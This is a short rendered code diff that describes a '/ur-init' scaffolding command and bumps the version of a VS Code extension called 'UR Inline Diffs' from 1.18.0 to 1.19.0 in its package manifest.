  - `/ur-init` scaffolds the `.ur/` asset folder (docs, superpowers, brainstorming,
9
15
  memory, prompts).
@@ -2,7 +2,7 @@
2
2
  "name": "ur-inline-diffs",
3
3
  "displayName": "UR Inline Diffs",
4
4
  "description": "Review UR inline diff bundles from .ur/ide/diffs inside VS Code.",
5
- "version": "1.18.0",
5
+ "version": "1.19.0",
6
6
  "publisher": "ur-agent",
7
7
  "engines": {
8
8
  "vscode": "^1.92.0"